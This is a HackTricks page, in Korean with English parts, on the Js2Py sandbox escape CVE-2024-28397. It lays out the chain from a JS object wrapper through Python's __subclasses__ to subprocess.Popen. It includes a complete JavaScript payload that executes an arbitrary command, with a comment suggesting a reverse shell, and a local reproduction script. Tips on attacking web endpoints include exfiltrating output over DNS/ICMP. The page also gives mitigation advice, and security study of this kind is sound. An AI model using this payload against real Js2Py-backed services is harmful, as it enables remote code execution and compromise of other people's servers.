Js2Py sandbox escape (CVE-2024-28397)
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Js2Py는 JavaScript를 Python 객체로 변환합니다. 따라서 js2py.disable_pyimport()가 사용되더라도 신뢰할 수 없는 JS는 Python 내부를 탐색하여 subprocess.Popen 같은 위험한 클래스에 접근할 수 있습니다. 버전 20.74에서는 Js2Py가 JS 객체에 노출하는 Python 리플렉션 primitives를 악용해, 그렇지 않으면 “sandboxed“된 JavaScript에서 RCE를 얻을 수 있습니다.
프리미티브: JS 객체 래퍼에서 Python 객체로 피벗
- Get a Python-backed object:
Object.getOwnPropertyNames({})returns adict_keysobject in Python space. - Recover attribute access: grab
.__getattribute__from that object and call it to read arbitrary attributes (e.g.,"__class__"). - Climb to
object: from<class 'dict_keys'>read.__base__to reach Python’s baseobject. - Enumerate loaded classes: call
object.__subclasses__()to walk every class already loaded in the interpreter. - Find
subprocess.Popen: recursively search subclasses where__module__ == "subprocess"and__name__ == "Popen". - Execute a command: instantiate Popen with attacker-controlled arguments and invoke
.communicate()to capture output.
Example payload abusing Js2Py to reach subprocess.Popen
```javascript // Replace cmd with desired payload (reverse shell / ping / etc.) let cmd = "id"; let hacked, bymarve, n11; let getattr, obj;hacked = Object.getOwnPropertyNames({}); // -> dict_keys([]) bymarve = hacked.getattribute; n11 = bymarve(“getattribute”); // attribute access primitive obj = n11(“class”).base; // pivot to <class ‘object’> getattr = obj.getattribute;
function findpopen(o) { let result; for (let i in o.subclasses()) { let item = o.subclasses()[i]; if (item.module == “subprocess” && item.name == “Popen”) { return item; } if (item.name != “type” && (result = findpopen(item))) { return result; } } }
// Popen(cmd, stdin/out/err pipes…) then .communicate() for output n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate(); console.log(n11); n11; // returned to caller if framework sends eval_js result back
</details>
이것이 동작하는 이유: Js2Py는 Python 객체 래퍼를 JS에 노출하되 `__getattribute__`, `__class__`, `__base__`, 또는 `__subclasses__`를 제거하지 않습니다. `disable_pyimport()`는 명시적인 `pyimport`만 차단하지만, 위 체인은 새로운 것을 전혀 import하지 않으며 이미 메모리에 로드된 모듈과 클래스들을 재사용합니다.
## 로컬에서 체인 재현하기
```bash
# Js2Py 0.74 breaks on Python 3.12/3.13; pin 3.11 for testing
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py
print(js2py.eval_js("Object.getOwnPropertyNames({})")) # dict_keys([])
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__")) # method-wrapper
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY
웹 샌드박스에 대한 공격
- 공격자가 제어하는 JS를
js2py.eval_js에 전달하는 모든 엔드포인트(예: Flask/run_codeAPI)는 프로세스 사용자가 셸 액세스를 가지고 있다면 즉시 RCE입니다. .communicate()가 bytes를 반환할 때jsonify({'result': result})를 반환하면 실패합니다; 직렬화 차단을 피하려면 디코딩하거나 출력을 DNS/ICMP로 직접 전송하세요.disable_pyimport()does not mitigate this chain; 강력한 격리(별도 프로세스/컨테이너) 또는 Js2Py를 통한 신뢰할 수 없는 코드 실행 제거가 필요합니다.
참고
- HTB: CodeTwo write-up (Js2Py CVE-2024-28397 escape)
- Marven11 CVE-2024-28397 Js2Py sandbox escape PoC
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


